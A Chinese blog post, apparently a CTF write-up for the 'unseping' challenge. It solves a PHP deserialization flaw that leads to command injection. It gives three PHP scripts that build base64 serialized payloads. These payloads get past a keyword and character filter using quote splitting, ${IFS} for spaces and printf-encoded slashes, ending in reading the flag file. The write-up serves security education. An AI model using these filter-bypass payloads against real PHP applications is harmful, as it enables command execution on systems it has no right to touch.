PHP反序列化-CTF-攻防世界-unseping

mYr01

已于 2023-05-18 10:03:52 修改

阅读量390

点赞数 1

CC 4.0 BY-SA版权

分类专栏： CTF 代码审计反序列化文章标签： php 代码复审安全

于 2023-05-18 10:02:49 首次发布

本文链接：https://blog.youkuaiyun.com/theenderofroot/article/details/130739578

CTF 同时被 3 个专栏收录

5 篇文章

订阅专栏

代码审计

2 篇文章

订阅专栏

反序列化

1 篇文章

订阅专栏

博客围绕PHP反序列化题目展开，先对源码进行初步审计，分析了case类的魔术方法，包括__wakeup和__destruct方法。通过构造ping方法和输入命令，编写PHP脚本生成payload，使用单双引号、${IFS}、printf等绕过过滤，最终提交payload获取到flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

进入题目直接得到源码，初步代码审计后确定是php反序列化题目

大体来看就是创建了一个case类，然后可接受post传来的参数ctf的值并对其进行base64解码以及反序列化

先看魔术方法：

__wakeup方法使用waf方法对$args的内容进行了过滤，过滤掉了| & ; 空格 / cat flag tac php ls

__destruct方法检测ping是否在$method中，并调用了名为$method的方法，以数组$args中的值作为参数

然后ping方法将输入参数作为外部命令进行执行并返回输出结果

综合来看就是通过$method和__construct来调用构造的ping方法，接着通过$args作为输入口进行命令的输入

那么我们在本地编写一个生成payload的php脚本

<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('l""s'));
$b = serialize($a);

echo $b."</br>";
echo base64_encode(serialize($a));

?>

这里使用了单双引号绕过

生成结果如下

使用hackbar提交此payload，得到

可得flag_1s_here这个目录，那么还需要查看这个目录

<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$b = serialize($a);

echo $b."</br>";
echo base64_encode(serialize($a));

?>

此处使用了${IFS}绕过了空格过滤，返回结果如下

发现目标文件flag_831b69012c67b35f.php

那么我们就需要构造cat flag_1s_here/flag_831b69012c67b35f.php

<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);

echo $b."</br>";
echo base64_encode(serialize($a));

?>

此时这个最终的payload的中，我们采用单双引号绕过正则过滤，${IFS}绕过空格过滤，printf绕过/过滤